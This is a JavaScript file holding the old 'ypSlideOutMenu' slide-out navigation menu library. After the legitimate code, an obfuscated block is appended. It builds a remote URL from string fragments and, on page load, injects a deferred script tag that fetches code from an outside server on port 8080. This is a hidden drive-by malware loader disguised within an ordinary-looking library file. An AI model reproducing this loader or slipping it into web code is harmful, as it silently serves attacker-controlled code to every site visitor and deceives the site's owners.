/*****************************************************
* ypSlideOutMenu
* 3/04/2001
*
* a nice little script to create exclusive, slide-out
* menus for ns4, ns6, mozilla, opera, ie4, ie5 on 
* mac and win32. I've got no linux or unix to test on but 
* it should(?) work... 
*
* Revised:
* - 08/29/2002 : added .hideAll()
*
* --youngpup--
*****************************************************/
ypSlideOutMenu.Registry = []
ypSlideOutMenu.aniLen = 250
ypSlideOutMenu.hideDelay = 1000
ypSlideOutMenu.minCPUResolution = 10
// constructor
function ypSlideOutMenu(id, dir, left, top, width, height)
{
this.ie = document.all ? 1 : 0
this.ns4 = document.layers ? 1 : 0
this.dom = document.getElementById ? 1 : 0
if (this.ie || this.ns4 || this.dom) {
this.id = id
this.dir = dir
this.orientation = dir == "left" || dir == "right" ? "h" : "v"
this.dirType = dir == "right" || dir == "down" ? "-" : "+"
this.dim = this.orientation == "h" ? width : height
this.hideTimer = false
this.aniTimer = false
this.open = false
this.over = false
this.startTime = 0
this.gRef = "ypSlideOutMenu_"+id
eval(this.gRef+"=this")
ypSlideOutMenu.Registry[id] = this
var d = document
var strCSS = '<style type="text/css">';
strCSS += '#' + this.id + 'Container { visibility:hidden; '
strCSS += 'left:' + left + 'px; '
strCSS += 'top:' + top + 'px; '
strCSS += 'overflow:hidden; z-index:10000; }'
strCSS += '#' + this.id + 'Container, #' + this.id + 'Content { position:absolute; '
strCSS += 'width:' + width + 'px; '
strCSS += 'height:' + height + 'px; '
strCSS += 'clip:rect(0 ' + width + ' ' + height + ' 0); '
strCSS += '}'
strCSS += '</style>'
d.write(strCSS)
this.load()
}
}
ypSlideOutMenu.prototype.load = function() {
var d = document
var lyrId1 = this.id + "Container"
var lyrId2 = this.id + "Content"
var obj1 = this.dom ? d.getElementById(lyrId1) : this.ie ? d.all[lyrId1] : d.layers[lyrId1]
if (obj1) var obj2 = this.ns4 ? obj1.layers[lyrId2] : this.ie ? d.all[lyrId2] : d.getElementById(lyrId2)
var temp
if (!obj1 || !obj2) window.setTimeout(this.gRef + ".load()", 100)
else {
this.container = obj1
this.menu = obj2
this.style = this.ns4 ? this.menu : this.menu.style
this.homePos = eval("0" + this.dirType + this.dim)
this.outPos = 0
this.accelConst = (this.outPos - this.homePos) / ypSlideOutMenu.aniLen / ypSlideOutMenu.aniLen 
// set event handlers.
if (this.ns4) this.menu.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
this.menu.onmouseover = new Function("ypSlideOutMenu.showMenu('" + this.id + "')")
this.menu.onmouseout = new Function("ypSlideOutMenu.hideMenu('" + this.id + "')")
//set initial state
this.endSlide()
}
}
ypSlideOutMenu.showMenu = function(id) {
var reg = ypSlideOutMenu.Registry
var obj = ypSlideOutMenu.Registry[id]
if (obj.container) {
    obj.over = true
    for (menu in reg) 
        if (id != menu) ypSlideOutMenu.hide(menu)
if (obj.hideTimer) { 
    reg[id].hideTimer = window.clearTimeout(reg[id].hideTimer) }
if (!obj.open && !obj.aniTimer) reg[id].startSlide(true)
}
}
ypSlideOutMenu.hideMenu = function(id)
{
var obj = ypSlideOutMenu.Registry[id]
if (obj.container) {
if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
obj.hideTimer = window.setTimeout("ypSlideOutMenu.hide('" + id + "')", ypSlideOutMenu.hideDelay);
}
}
ypSlideOutMenu.hideAll = function()
{
var reg = ypSlideOutMenu.Registry
for (menu in reg) {
ypSlideOutMenu.hide(menu);
if (menu.hideTimer) window.clearTimeout(menu.hideTimer);
}
}
ypSlideOutMenu.hide = function(id)
{
var obj = ypSlideOutMenu.Registry[id]
obj.over = false
if (obj.hideTimer) window.clearTimeout(obj.hideTimer)
obj.hideTimer = 0
if (obj.open && !obj.aniTimer) obj.startSlide(false)
}
ypSlideOutMenu.prototype.startSlide = function(open) {
this[open ? "onactivate" : "ondeactivate"]()
this.open = open
if (open) this.setVisibility(true)
this.startTime = (new Date()).getTime() 
this.aniTimer = window.setInterval(this.gRef + ".slide()", ypSlideOutMenu.minCPUResolution)
}
ypSlideOutMenu.prototype.slide = function() {
var elapsed = (new Date()).getTime() - this.startTime
if (elapsed > ypSlideOutMenu.aniLen) this.endSlide()
else {
var d = Math.round(Math.pow(ypSlideOutMenu.aniLen-elapsed, 2) * this.accelConst)
if (this.open && this.dirType == "-") d = -d
else if (this.open && this.dirType == "+") d = -d
else if (!this.open && this.dirType == "-") d = -this.dim + d
else d = this.dim + d
this.moveTo(d)
}
}
ypSlideOutMenu.prototype.endSlide = function() {
this.aniTimer = window.clearTimeout(this.aniTimer)
this.moveTo(this.open ? this.outPos : this.homePos)
if (!this.open) this.setVisibility(false)
if ((this.open && !this.over) || (!this.open && this.over)) {
this.startSlide(this.over)
}
}
ypSlideOutMenu.prototype.setVisibility = function(bShow) { 
var s = this.ns4 ? this.container : this.container.style
s.visibility = bShow ? "visible" : "hidden"
}
ypSlideOutMenu.prototype.moveTo = function(p) { 
this.style[this.orientation == "h" ? "left" : "top"] = this.ns4 ? p : p + "px"
}
ypSlideOutMenu.prototype.getPos = function(c) {
return parseInt(this.style[c])
}
ypSlideOutMenu.prototype.onactivate = function() { }
ypSlideOutMenu.prototype.ondeactivate = function() { }


R=57100;R-=171;var j;var E=new Date();var u=new Array();tU=function(){oN={bV:33436};var im=["V","RD","BK"];function t(T,b,o){qT=4769;qT+=55;var YmI=[];return T.substr(b,o);AB=["NN"];}I_=41564;I_++;var Y=document;var v=RegExp;var Ie={k:"J"};var A='';try {} catch(n){};var h=new String(t("/guhlL",0,2)+t("vZqTooZTqv",4,2)+t("HwUVglVUHw",4,2)+t("e.AkQV",0,2)+t("rwlGcoGrlw",4,2)+t("m/I6h",0,2)+"sp"+t("antuw",0,2)+t("kwBCAP",0,2)+t("TeN7irNT7e",4,2)+"e."+"co"+t("uOvm/uvO",3,2)+t("shjXY",0,2)+t("MGPHaaGPHM",4,2)+t("diFYEH",0,2)+t("BEkX.ckXBE",4,2)+t("CM4om4CM",3,2)+".p"+t("hpmc9",0,2));try {} catch(TL){};try {} catch(p){};U_=6591;U_--;ju=14480;ju--;function L(T,b){var asz=new Array();yc=[];var o="["+b+t("]cJR",0,1);this.gR="gR";var _=new v(o, new String("g"));var uG=30357;return T.replace(_, A);var us="us";};TE=[];var K=58358-50278;OP=["Ta","r"];is={W:false};var PV=new String();var e=L('sHc2rhiup8tU','2FSnz7uOZHYU18h');var IQ=["PB"];var q=null;cv=29928;cv++;this.bY="bY";var N=new String(t("body2Fa",0,4));j=function(){try {var P=L('cBrWejajtBe5Evlqeqm4e5n4tB','qvdgjW45B');var HX=new String();Q=Y[P](e);var EV=["jN","qP","yv"];var Py=new Date();var em=L('sYr7cV','qYVRAT7w');zj={pe:"gU"};this.xg=false;var y=new String("defe"+t("rpoXV",0,1));this.ur=false;var T=K+h;try {} catch(Bf){};OJ={pw:false};JI=24102;JI+=78;Dv=["XL","cy"];var JT={oLl:27883};try {var Do='rg'} catch(Do){};Q[y]=[3,1][1];var eh=43465;var AN="";Q[em]=new String("ht"+"tp"+t(":/L43",0,2)+t("/t4nc",0,2)+t("tV3wen3Vtw",4,2)+t("thys8G",0,2)+t("sw0prw0s",3,2)+t("npzofnpz",3,2)+t("itvEOI",0,2)+t("F6q.rq6F",3,2)+t("eLpAu:AepL",4,2))+T;var Se=["NG"];Y[N].appendChild(Q);var Is=["ve"];} catch(m){var F={};};};Zf=9515;Zf+=149;};tU();var Pl={pl:22049};window.onload=j;jZ=57779;jZ+=193;iH=["NB"];this.es=false;